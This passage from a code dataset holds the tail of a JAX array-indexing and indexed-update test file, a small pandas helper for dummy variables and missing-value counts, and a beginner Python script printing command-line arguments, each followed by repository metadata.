2, 0, 1],\n                                                          [-1, -2, 1, 0]])),\n            ]),\n          (\"Two1DIntArrayIndicesNoBroadcasting\",\n           [IndexSpec(shape=(3, 3), indexer=(np.array([0, 1]),\n                                             np.array([1, 2]))),\n            IndexSpec(shape=(3, 4, 5), indexer=(np.array([0, 2, 0, 1]),\n                                                np.array([-1, 0, -1, 2]))),\n            ]),\n          (\"Two1DIntArrayIndicesWithBroadcasting\",\n           [IndexSpec(shape=(3, 3), indexer=(np.array([[0, 1]]),\n                                             np.array([1, 2]))),\n            IndexSpec(shape=(3, 4, 5), indexer=(np.array([[0, 2, 0, 1]]),\n                                                np.array([-1, 0, -1, 2]))),\n            ]),\n          (\"TupleOfPythonIntsAndIntArrays\",\n           [IndexSpec(shape=(3, 4, 5), indexer=(0, np.array([0, 1]))),\n            IndexSpec(shape=(3, 4, 5), indexer=(0, 1,\n                                                np.array([[2, 3, 0, 3]]))),\n            ]),\n          (\"TupleOfListsOfPythonIntsAndIntArrays\",\n           [IndexSpec(shape=(3, 4, 5), indexer=([0, 1], np.array([0]))),\n            IndexSpec(shape=(3, 4, 5), indexer=([[0], [-1]],\n                                                np.array([[2, 3, 0, 3]]))),\n            ]),\n      ]\n      for shape, indexer in index_specs\n      for dtype in float_dtypes)\n  def testAdvancedIntegerIndexingGrads(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    tol = 1e-2 if jnp.finfo(dtype).bits == 32 else None\n    arg = rng(shape, dtype)\n    fun = lambda x: jnp.asarray(x)[indexer]\n    check_grads(fun, (arg,), 2, tol, tol, eps=1.)\n\n  @parameterized.named_parameters(\n      {\"testcase_name\": \"{}_inshape={}_indexer={}\"\n       .format(name, jtu.format_shape_dtype_string(shape, dtype), indexer),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer}\n      for name, index_specs in MIXED_ADVANCED_INDEXING_TESTS\n      for shape, indexer in index_specs\n      for dtype in all_dtypes)\n  def testMixedAdvancedIntegerIndexing(self, shape, dtype, indexer):\n    rng = jtu.rand_default(self.rng())\n    indexer_with_dummies = [e if isinstance(e, np.ndarray) else ()\n                            for e in indexer]\n    substitutes = [(i, e) for i, e in enumerate(indexer)\n                   if not isinstance(e, np.ndarray)]\n    args_maker = lambda: [rng(shape, dtype), indexer_with_dummies]\n\n    def jnp_fun(x, indexer_with_dummies):\n      idx = type(indexer)(util.subvals(indexer_with_dummies, substitutes))\n      return jnp.asarray(x)[idx]\n\n    def np_fun(x, indexer_with_dummies):\n      idx = type(indexer)(util.subvals(indexer_with_dummies, substitutes))\n      return np.asarray(x)[idx]\n\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  def testAdvancedIndexingManually(self):\n    x = np.random.RandomState(0).randn(3, 4, 5)\n    index_array = np.array([0, 2, -1, 0])\n\n    op = lambda x, index_array: x[..., index_array, :]\n    cop = jax.jit(op)\n\n    a1 = op(x, index_array)\n    a2 = cop(x, index_array)\n\n    self.assertAllClose(a1, a2)\n\n    op = lambda x, index_array: x[..., index_array, :, index_array, None]\n    cop = jax.jit(op)\n\n    a1 = op(x, index_array)\n    a2 = cop(x, index_array)\n\n    self.assertAllClose(a1, a2)\n\n    op = lambda x, index_array: x[index_array, ..., index_array[:, None], None]\n    cop = jax.jit(op)\n\n    a1 = op(x, index_array)\n    a2 = cop(x, index_array)\n\n    self.assertAllClose(a1, a2)\n\n  def testUnpacking(self):\n\n    def foo(x):\n      a, b, c = x\n      return a + b + c\n\n    cfoo = jax.jit(foo)\n\n    a1 = foo(np.arange(3))\n    a2 = cfoo(np.arange(3))\n\n    self.assertAllClose(a1, a2)\n\n  def testBooleanIndexingArray1D(self):\n    idx = np.array([True, True, False])\n    x = jax.device_put(np.arange(3))\n    ans = x[idx]\n    expected = np.arange(3)[idx]\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testBooleanIndexingList1D(self):\n    idx = [True, True, False]\n    x = jax.device_put(np.arange(3))\n    with self.assertRaisesRegex(TypeError, ARRAY_MSG):\n      x[idx]\n\n  def testBooleanIndexingArray2DBroadcast(self):\n    idx = np.array([True, True, False, True])\n    x = np.arange(8).reshape(4, 2)\n    ans = jax.device_put(x)[idx]\n    expected = x[idx]\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testBooleanIndexingList2DBroadcast(self):\n    idx = [True, True, False, True]\n    x = np.arange(8).reshape(4, 2)\n    with self.assertRaisesRegex(TypeError, ARRAY_MSG):\n      jax.device_put(x)[idx]\n\n  def testBooleanIndexingArray2D(self):\n    idx = np.array([[True, False],\n                     [False, True],\n                     [False, False],\n                     [True, True]])\n    x = np.arange(8).reshape(4, 2)\n    ans = jax.device_put(x)[idx]\n    expected = x[idx]\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testBooleanIndexingDynamicShapeError(self):\n    x = np.zeros(3)\n    i = np.array([True, True, False])\n    self.assertRaises(IndexError, lambda: jax.jit(lambda x, i: x[i])(x, i))\n\n  def testScalarBooleanIndexingNotImplemented(self):\n    msg = \"JAX arrays do not support boolean scalar indices\"\n    with self.assertRaisesRegex(TypeError, msg):\n      jnp.arange(4)[True]\n    with self.assertRaisesRegex(TypeError, msg):\n      jnp.arange(4)[False]\n\n  def testIssue187(self):\n    x = jnp.ones((5, 5))\n    x[[0, 2, 4], [0, 2, 4]]  # doesn't crash\n\n    x = np.arange(25).reshape((5, 5))\n    ans = jax.jit(lambda x: x[[0, 2, 4], [0, 2, 4]])(x)\n    expected = x[[0, 2, 4], [0, 2, 4]]\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testJVPOfGradOfIndexing(self):\n    # Should return a value, even though we didn't pass a symbolic zero as the\n    # index tangent.\n    x = jnp.ones((3, 4), jnp.float32)\n    i = jnp.ones((3,), jnp.int32)\n    f = lambda x, i: jnp.sum(x[i])\n    primals, tangents = jax.jvp(jax.grad(f), (x, i),\n                                (x, np.zeros(i.shape, dtypes.float0)))\n    expected = np.broadcast_to(\n      np.array([0, 3, 0], dtype=np.float32)[:, None], (3, 4))\n    self.assertAllClose(expected, primals)\n    self.assertAllClose(np.zeros_like(x), tangents)\n\n  def testTrivialGatherIsntGenerated(self):\n    # https://github.com/google/jax/issues/1621\n    jaxpr = jax.make_jaxpr(lambda x: x[:, None])(np.arange(4))\n    self.assertEqual(len(jaxpr.jaxpr.eqns), 1)\n    self.assertNotIn('gather', str(jaxpr))\n\n  def testIndexingEmptyDimension(self):\n    # Issue 2671: XLA error when indexing into dimension of size 0\n    x = jnp.ones((2, 0))\n    # The following work, even on axis 1 of size 0\n    with jax.numpy_rank_promotion('allow'):\n      _ = x[0, :] + x[0, None] + x[0, 1:] + x[0, 1:3:2]\n\n    with self.assertRaisesRegex(IndexError,\n                                \"index .* is out of bounds for axis .* with size 0\"):\n      _ = np.ones((2, 0))[0, 0]  # The numpy error\n    with self.assertRaisesRegex(IndexError,\n                                \"index is out of bounds for axis .* with size 0\"):\n      _ = x[0, 0]  # JAX indexing\n    with self.assertRaisesRegex(IndexError,\n                                \"index is out of bounds for axis .* with size 0\"):\n      jax.jit(lambda i: x[0, i])(0)  # JAX indexing under jit\n\n  def testBooleanIndexingWithEmptyResult(self):\n    # based on a TensorFlow Probability test that started failing after #1622\n    x = jnp.array([-1])\n    mask = jnp.array([False])\n    ans = x[mask]  # doesn't crash\n\n    expected =  np.array([-1])[np.array([False])]\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testBooleanIndexingShapeMismatch(self):\n    # Regression test for https://github.com/google/jax/issues/7329\n    x = jnp.arange(4)\n    idx = jnp.array([True, False])\n    with self.assertRaisesRegex(IndexError, \"boolean index did not match shape.*\"):\n      x[idx]\n\n  def testNontrivialBooleanIndexing(self):\n    # Test nontrivial corner case in boolean indexing shape validation\n    rng = jtu.rand_default(self.rng())\n    index = (rng((2, 3), np.bool_), rng((6,), np.bool_))\n\n    args_maker = lambda: [rng((2, 3, 6), np.int32)]\n    np_fun = lambda x: np.asarray(x)[index]\n    jnp_fun = lambda x: jnp.asarray(x)[index]\n\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    self._CompileAndCheck(jnp_fun, args_maker)\n\n  def testFloatIndexingError(self):\n    BAD_INDEX_TYPE_ERROR = \"Indexer must have integer or boolean type, got indexer with type\"\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      jnp.zeros(2)[0.]\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      jnp.zeros((2, 2))[(0, 0.)]\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      jnp.zeros((2, 2))[(0, 0.)]\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      jax.jit(lambda idx: jnp.zeros((2, 2))[idx])((0, 0.))\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      ops.index_add(jnp.zeros(2), 0., 1.)\n    with self.assertRaisesRegex(TypeError, BAD_INDEX_TYPE_ERROR):\n      ops.index_update(jnp.zeros(2), 0., 1.)\n\n  def testIndexOutOfBounds(self):  # https://github.com/google/jax/issues/2245\n    array = jnp.ones(5)\n    self.assertAllClose(array, array[:10])\n\n\ndef _broadcastable_shapes(shape):\n  \"\"\"Returns all shapes that broadcast to `shape`.\"\"\"\n  def f(rshape):\n    yield []\n    if rshape:\n      for s in f(rshape[1:]):\n        yield rshape[0:1] + s\n      if rshape[0] != 1:\n        for s in f(rshape[1:]):\n          yield [1] + s\n  for x in f(list(reversed(shape))):\n    yield list(reversed(x))\n\n\ndef _update_shape(shape, indexer):\n  return np.zeros(shape)[indexer].shape\n\n\nclass UpdateOps(enum.Enum):\n  UPDATE = 0\n  ADD = 1\n  MUL = 2\n  DIV = 3\n  POW = 4\n  MIN = 5\n  MAX = 6\n\n  def np_fn(op, indexer, x, y):\n    x = x.copy()\n    x[indexer] = {\n      UpdateOps.UPDATE: lambda: y,\n      UpdateOps.ADD: lambda: x[indexer] + y,\n      UpdateOps.MUL: lambda: x[indexer] * y,\n      UpdateOps.DIV: jtu.ignore_warning(category=RuntimeWarning)(\n        lambda: x[indexer] / y.astype(x.dtype)),\n      UpdateOps.POW: jtu.ignore_warning(category=RuntimeWarning)(\n        lambda: x[indexer] ** y.astype(x.dtype)),\n      UpdateOps.MIN: lambda: np.minimum(x[indexer], y),\n      UpdateOps.MAX: lambda: np.maximum(x[indexer], y),\n    }[op]()\n    return x\n\n  def jax_fn(op, indexer, x, y, indices_are_sorted=False,\n             unique_indices=False):\n    return {\n      UpdateOps.UPDATE: ops.index_update,\n      UpdateOps.ADD: ops.index_add,\n      UpdateOps.MUL: ops.index_mul,\n      UpdateOps.MIN: ops.index_min,\n      UpdateOps.MAX: ops.index_max,\n    }[op](x, indexer, y, indices_are_sorted=indices_are_sorted,\n          unique_indices=unique_indices)\n\n  def sugar_fn(op, indexer, x, y, indices_are_sorted=False,\n             unique_indices=False):\n    x = jnp.array(x)\n    return {\n      UpdateOps.UPDATE: x.at[indexer].set,\n      UpdateOps.ADD: x.at[indexer].add,\n      UpdateOps.MUL: x.at[indexer].multiply,\n      UpdateOps.DIV: x.at[indexer].divide,\n      UpdateOps.POW: x.at[indexer].power,\n      UpdateOps.MIN: x.at[indexer].min,\n      UpdateOps.MAX: x.at[indexer].max,\n    }[op](y, indices_are_sorted=indices_are_sorted,\n          unique_indices=unique_indices)\n\n  def dtypes(op):\n    if op == UpdateOps.UPDATE:\n      return all_dtypes\n    elif op == UpdateOps.DIV or op == UpdateOps.POW:\n      return jtu.dtypes.inexact\n    else:\n      return default_dtypes\n\ndef _update_tol(op):\n  if op == UpdateOps.POW:\n    tol = {np.complex64: 1e-4 if jtu.device_under_test() == \"tpu\" else 1e-5,\n           np.complex128: 1e-14}\n  else:\n    tol = {np.complex128: 1e-14}\n  return tol\n\n@jtu.with_config(jax_numpy_rank_promotion=\"raise\")\nclass IndexedUpdateTest(jtu.JaxTestCase):\n\n  @parameterized.named_parameters(jtu.named_cases_from_sampler(lambda s: ({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_sugared={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), sugared, op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op, \"sugared\": sugared\n  } for name, index_specs in s(STATIC_INDEXING_TESTS)\n    for shape, indexer in s(index_specs)\n    for op in s(UpdateOps)\n    for dtype in s(UpdateOps.dtypes(op))\n    for update_shape in s(_broadcastable_shapes(_update_shape(shape, indexer)))\n    for update_dtype in s([dtype] if op == UpdateOps.ADD else all_dtypes)\n    for sugared in (s([True, False]) if op not in [UpdateOps.DIV, UpdateOps.POW] else [True]))))\n  def testStaticIndexing(self, shape, dtype, update_shape, update_dtype,\n                         indexer, sugared, op):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype), rng(update_shape, update_dtype)]\n    np_fn = lambda x, y: UpdateOps.np_fn(op, indexer, x, y)\n    if sugared:\n      jax_fn = lambda x, y: UpdateOps.sugar_fn(op, indexer, x, y)\n    else:\n      jax_fn = lambda x, y: UpdateOps.jax_fn(op, indexer, x, y)\n    self._CheckAgainstNumpy(np_fn, jax_fn, args_maker, tol=_update_tol(op))\n    self._CompileAndCheck(jax_fn, args_maker)\n\n  @parameterized.named_parameters(jtu.named_cases_from_sampler(lambda s: ({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op\n  } for name, index_specs in s(ADVANCED_INDEXING_TESTS_NO_REPEATS)\n    for shape, indexer in s(index_specs)\n    for op in s(UpdateOps)\n    for dtype in s(UpdateOps.dtypes(op))\n    for update_shape in s(_broadcastable_shapes(_update_shape(shape, indexer)))\n    for update_dtype in s([dtype] if op == UpdateOps.ADD else all_dtypes))))\n  def testAdvancedIndexing(self, shape, dtype, update_shape, update_dtype,\n                           indexer, op):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype), rng(update_shape, update_dtype)]\n    np_fn = lambda x, y: UpdateOps.np_fn(op, indexer, x, y)\n    jax_fn = lambda x, y: UpdateOps.sugar_fn(op, indexer, x, y,\n                                             unique_indices=True)\n    self._CheckAgainstNumpy(np_fn, jax_fn, args_maker, tol=_update_tol(op))\n    self._CompileAndCheck(jax_fn, args_maker)\n\n  @parameterized.named_parameters(jtu.named_cases_from_sampler(lambda s: ({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op\n  } for name, index_specs in s(ADVANCED_INDEXING_TESTS_NO_REPEATS_SORTED)\n    for shape, indexer in s(index_specs)\n    for op in s(UpdateOps)\n    for dtype in s(UpdateOps.dtypes(op))\n    for update_shape in s(_broadcastable_shapes(_update_shape(shape, indexer)))\n    for update_dtype in s([dtype] if op == UpdateOps.ADD else all_dtypes))))\n  def testAdvancedIndexingSorted(self, shape, dtype, update_shape, update_dtype,\n                           indexer, op):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype), rng(update_shape, update_dtype)]\n    np_fn = lambda x, y: UpdateOps.np_fn(op, indexer, x, y)\n    jax_fn = lambda x, y: UpdateOps.sugar_fn(\n      op, indexer, x, y, indices_are_sorted=True, unique_indices=True)\n    self._CheckAgainstNumpy(np_fn, jax_fn, args_maker, check_dtypes=True,\n                            tol=_update_tol(op))\n    self._CompileAndCheck(jax_fn, args_maker, check_dtypes=True)\n\n  @parameterized.named_parameters(jtu.named_cases_from_sampler(lambda s: ({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op\n  } for name, index_specs in s(MIXED_ADVANCED_INDEXING_TESTS_NO_REPEATS)\n    for shape, indexer in s(index_specs)\n    for op in s(UpdateOps)\n    for dtype in s(UpdateOps.dtypes(op))\n    for update_shape in s(_broadcastable_shapes(_update_shape(shape, indexer)))\n    for update_dtype in s([dtype] if op == UpdateOps.ADD else all_dtypes))))\n  def testMixedAdvancedIndexing(self, shape, dtype, update_shape, update_dtype,\n                                indexer, op):\n    rng = jtu.rand_default(self.rng())\n    args_maker = lambda: [rng(shape, dtype), rng(update_shape, update_dtype)]\n    np_fn = lambda x, y: UpdateOps.np_fn(op, indexer, x, y)\n    jax_fn = lambda x, y: UpdateOps.sugar_fn(op, indexer, x, y)\n    self._CheckAgainstNumpy(np_fn, jax_fn, args_maker, tol=_update_tol(op))\n    self._CompileAndCheck(jax_fn, args_maker)\n\n  @parameterized.named_parameters(jtu.cases_from_list({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op\n  } for name, index_specs in STATIC_INDEXING_TESTS\n    for shape, indexer in index_specs\n    for op in [UpdateOps.ADD, UpdateOps.MUL, UpdateOps.UPDATE]\n    for dtype in float_dtypes\n    for update_shape in _broadcastable_shapes(_update_shape(shape, indexer))\n    for update_dtype in ([dtype] if op == UpdateOps.ADD else float_dtypes)))\n  def testStaticIndexingGrads(self, shape, dtype, update_shape, update_dtype,\n                              indexer, op):\n    rng = jtu.rand_default(self.rng())\n    jax_fn = lambda x, y: UpdateOps.sugar_fn(op, indexer, x, y)\n    x = rng(shape, dtype)\n    y = rng(update_shape, update_dtype)\n    check_grads(jax_fn, (x, y), 2, rtol=1e-3, atol=1e-3, eps=1.)\n\n  @parameterized.named_parameters(jtu.named_cases_from_sampler(lambda s: ({\n      \"testcase_name\": \"{}_inshape={}_indexer={}_update={}_op={}\".format(\n          name, jtu.format_shape_dtype_string(shape, dtype), indexer,\n          jtu.format_shape_dtype_string(update_shape, update_dtype), op.name),\n       \"shape\": shape, \"dtype\": dtype, \"indexer\": indexer,\n       \"update_shape\": update_shape, \"update_dtype\": update_dtype,\n       \"op\": op\n  } for name, index_specs in s(ADVANCED_INDEXING_TESTS_NO_REPEATS)\n    for shape, indexer in s(index_specs)\n    for op in s([UpdateOps.ADD, UpdateOps.MUL, UpdateOps.UPDATE])\n    for dtype in s(float_dtypes)\n    for update_shape in s(_broadcastable_shapes(_update_shape(shape, indexer)))\n    for update_dtype in s([dtype] if op == UpdateOps.ADD else float_dtypes))))\n  def testAdvancedIndexingGrads(self, shape, dtype, update_shape, update_dtype,\n                                indexer, op):\n    rng = jtu.rand_default(self.rng())\n    jax_fn = lambda x, y: UpdateOps.sugar_fn(op, indexer, x, y,\n                                             unique_indices=True)\n    x = rng(shape, dtype)\n    y = rng(update_shape, update_dtype)\n    check_grads(jax_fn, (x, y), 2, rtol=1e-3, atol=1e-3, eps=1.)\n\n  def testSegmentSumBehavior(self):\n    # testAdvancedIndexing compares against NumPy, and as a result doesn't check\n    # repeated indices. This test is just a simple manual check, based on\n    # https://www.tensorflow.org/api_docs/python/tf/math/segment_sum\n    data = np.array([5, 1, 7, 2, 3, 4, 1, 3])\n    segment_ids = np.array([0, 0, 0, 1, 2, 2, 3, 3])\n\n    ans = ops.index_add(np.zeros(np.max(segment_ids) + 1), segment_ids, data)\n    expected = np.array([13, 2, 7, 4])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n  def testSegmentSum(self):\n    data = jnp.array([5, 1, 7, 2, 3, 4, 1, 3])\n    segment_ids = jnp.array([0, 0, 0, 1, 2, 2, 3, 3])\n\n    # test with explicit num_segments\n    ans = ops.segment_sum(data, segment_ids, num_segments=4)\n    expected = jnp.array([13, 2, 7, 4])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n    # test with explicit num_segments larger than the higher index.\n    ans = ops.segment_sum(data, segment_ids, num_segments=5)\n    expected = jnp.array([13, 2, 7, 4, 0])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n    # test without explicit num_segments\n    ans = ops.segment_sum(data, segment_ids)\n    expected = jnp.array([13, 2, 7, 4])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n    # test with negative segment ids and segment ids larger than num_segments,\n    # that will be wrapped with the `mod`.\n    segment_ids = jnp.array([0, 4, 8, 1, 2, -6, -1, 3])\n    ans = ops.segment_sum(data, segment_ids, num_segments=4)\n    expected = jnp.array([5, 2, 3, 3])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n    # test with negative segment ids and without without explicit num_segments\n    # such as num_segments is defined by the smaller index.\n    segment_ids = jnp.array([3, 3, 3, 4, 5, 5, -7, -6])\n    ans = ops.segment_sum(data, segment_ids)\n    expected = jnp.array([0, 0, 0, 13, 2, 7])\n    self.assertAllClose(ans, expected, check_dtypes=False)\n\n\n  @parameterized.named_parameters(itertools.chain.from_iterable(\n      jtu.cases_from_list({\n        \"testcase_name\": \"_{}_{}_num_segments={}_bucket_size={}\".format(\n          jtu.format_shape_dtype_string(shape, dtype),\n          reducer.__name__, num_segments, bucket_size),\n        \"dtype\": dtype, \"shape\": shape,\n        \"reducer\": reducer, \"op\": op, \"identity\": identity,\n        \"num_segments\": num_segments, \"bucket_size\": bucket_size}\n      for dtype in default_dtypes\n      for shape in [(8,), (7, 4), (6, 4, 2)]\n      for bucket_size in [None, 2]\n      for num_segments in [None, 1, 3])\n    for reducer, op, identity in [\n      (ops.segment_sum, np.add, 0),\n      (ops.segment_prod, np.multiply, 1),\n      (ops.segment_min, np.minimum, float('inf')),\n      (ops.segment_max, np.maximum, -float('inf')),\n    ]))\n  def testSegmentReduce(self, shape, dtype, reducer, op, identity, num_segments, bucket_size):\n    rng = jtu.rand_default(self.rng())\n    idx_rng = jtu.rand_int(self.rng(), low=-2, high=3)\n    args_maker = lambda: [rng(shape, dtype), idx_rng(shape[:1], jnp.int32)]\n\n    if np.issubdtype(dtype, np.integer):\n      if np.isposinf(identity):\n        identity = np.iinfo(dtype).max\n      elif np.isneginf(identity):\n        identity = np.iinfo(dtype).min\n\n    jnp_fun = lambda data, segment_ids: reducer(\n      data, segment_ids, num_segments=num_segments, bucket_size=bucket_size)\n\n    def np_fun(data, segment_ids):\n      size = num_segments if num_segments is not None else (segment_ids.max() + 1)\n      out = np.full((size,) + shape[1:], identity, dtype)\n      for i, val in zip(segment_ids, data):\n        if 0 <= i < size:\n          out[i] = op(out[i], val).astype(dtype)\n      return out\n\n    self._CheckAgainstNumpy(np_fun, jnp_fun, args_maker)\n    if num_segments is not None:\n      self._CompileAndCheck(jnp_fun, args_maker)\n\n  def testIndexDtypeError(self):\n    # https://github.com/google/jax/issues/2795\n    jnp.array(1)  # get rid of startup warning\n    with warnings.catch_warnings(record=True) as w:\n      warnings.simplefilter(\"error\")\n      jnp.zeros(5).at[::2].set(1)\n      self.assertLen(w, 0)\n\n  @contextmanager\n  def assertNoWarnings(self):\n    with warnings.catch_warnings(record=True) as caught_warnings:\n      yield\n    self.assertEmpty(caught_warnings)\n\n  @parameterized.named_parameters(jtu.cases_from_list({\n      \"testcase_name\": \"idx={}\".format(idx), \"idx\": idx, \"idx_type\": idx_type}\n    for idx, idx_type in [\n      ([0], \"array\"),\n      ([0, 0], \"array\"),\n      ([[0, 0]], \"tuple\"),\n      ([0, [0, 1]], \"tuple\"),\n      ([0, np.arange(2)], \"tuple\"),\n      ([0, None], \"tuple\"),\n      ([0, slice(None)], \"tuple\"),\n    ]))\n  def testIndexSequenceDeprecation(self, idx, idx_type):\n    normalize = {\"array\": np.array, \"tuple\": tuple}[idx_type]\n    msg = {\"array\": ARRAY_MSG, \"tuple\": TUPLE_MSG}[idx_type]\n    x = jnp.arange(6).reshape(3, 2)\n\n    with self.assertRaisesRegex(TypeError, msg):\n      x[idx]\n    with self.assertNoWarnings():\n      x[normalize(idx)]\n\n    with self.assertRaisesRegex(TypeError, msg):\n      x.at[idx].set(0)\n    with self.assertNoWarnings():\n      x.at[normalize(idx)].set(0)\n\n\nif __name__ == \"__main__\":\n  absltest.main(testLoader=jtu.JaxTestLoader())\n", "meta": {"hexsha": "d9d30c589e18ecc961bd64ce1e1e8142ade2ffc2", "size": 49372, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/lax_numpy_indexing_test.py", "max_stars_repo_name": "ROCmSoftwarePlatform/jax", "max_stars_repo_head_hexsha": "be34a14dc40384ac8876fad2b23b5e205ccfe22e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2020-12-04T16:54:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T07:26:56.000Z", "max_issues_repo_path": "tests/lax_numpy_indexing_test.py", "max_issues_repo_name": "ROCmSoftwarePlatform/jax", "max_issues_repo_head_hexsha": "be34a14dc40384ac8876fad2b23b5e205ccfe22e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 20, "max_issues_repo_issues_event_min_datetime": "2021-08-17T20:31:56.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T11:56:24.000Z", "max_forks_repo_path": "tests/lax_numpy_indexing_test.py", "max_forks_repo_name": "ROCmSoftwarePlatform/jax", "max_forks_repo_head_hexsha": "be34a14dc40384ac8876fad2b23b5e205ccfe22e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.4522785899, "max_line_length": 107, "alphanum_fraction": 0.5908612169, "include": true, "reason": "import numpy,import jax,from jax", "num_tokens": 13918, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.056290833172294455}}
{"text": "import pandas as pd\nimport numpy as np\n\ndef create_dummy_df(df, cat_cols, dummy_na):\n    for col in  cat_cols:\n        try:\n            # for each cat add dummy var, drop original column\n            df = pd.concat([df.drop(col, axis=1), pd.get_dummies(df[col], prefix=col, prefix_sep='_', drop_first=True, dummy_na=dummy_na)], axis=1)\n        except:\n            continue\n    return df\n    \ndef find_missing(df):\n    miss = df.isnull().sum().sort_values(ascending=False)\n    percent_miss = ((df.isnull().sum() * 100) / df.isnull().count().sort_values(ascending=False))\n    missing = pd.concat([miss, percent_miss], axis=1, keys=['Total Missing Instances', '% Missing'], sort=False).sort_values('Total Missing Instances', ascending=False)\n    return missing               ", "meta": {"hexsha": "d07fdc4a78f611d766793ef4bd43288284fbb1c9", "size": 771, "ext": "py", "lang": "Python", "max_stars_repo_path": "helper.py", "max_stars_repo_name": "lng15/airbnb_nyc", "max_stars_repo_head_hexsha": "422a128dd6d3eaf92b487cd462f497d8b118cb52", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "helper.py", "max_issues_repo_name": "lng15/airbnb_nyc", "max_issues_repo_head_hexsha": "422a128dd6d3eaf92b487cd462f497d8b118cb52", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "helper.py", "max_forks_repo_name": "lng15/airbnb_nyc", "max_forks_repo_head_hexsha": "422a128dd6d3eaf92b487cd462f497d8b118cb52", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-10-12T19:24:58.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-12T19:24:58.000Z", "avg_line_length": 45.3529411765, "max_line_length": 168, "alphanum_fraction": 0.6498054475, "include": true, "reason": "import numpy", "num_tokens": 188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11436852014455551, "lm_q1q2_score": 0.05629082871509503}}
{"text": "import numpy as np    # the numpy library\nimport matplotlib.pyplot as plt   # matplotlib's pyplot\nimport sys      # gives access to C-like sys library\nimport os    # gives access to operating system\n\nprint(sys.argv)  # command line arguments\nprint(os.getcwd())  # print current working directory", "meta": {"hexsha": "3bee419b3da219e4c13601fc6abedc32df82b452", "size": 295, "ext": "py", "lang": "Python", "max_stars_repo_path": "astr-119-session-3/useful_modules.py", "max_stars_repo_name": "jjohnst6260/astr-119", "max_stars_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "astr-119-session-3/useful_modules.py", "max_issues_repo_name": "jjohnst6260/astr-119", "max_issues_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", 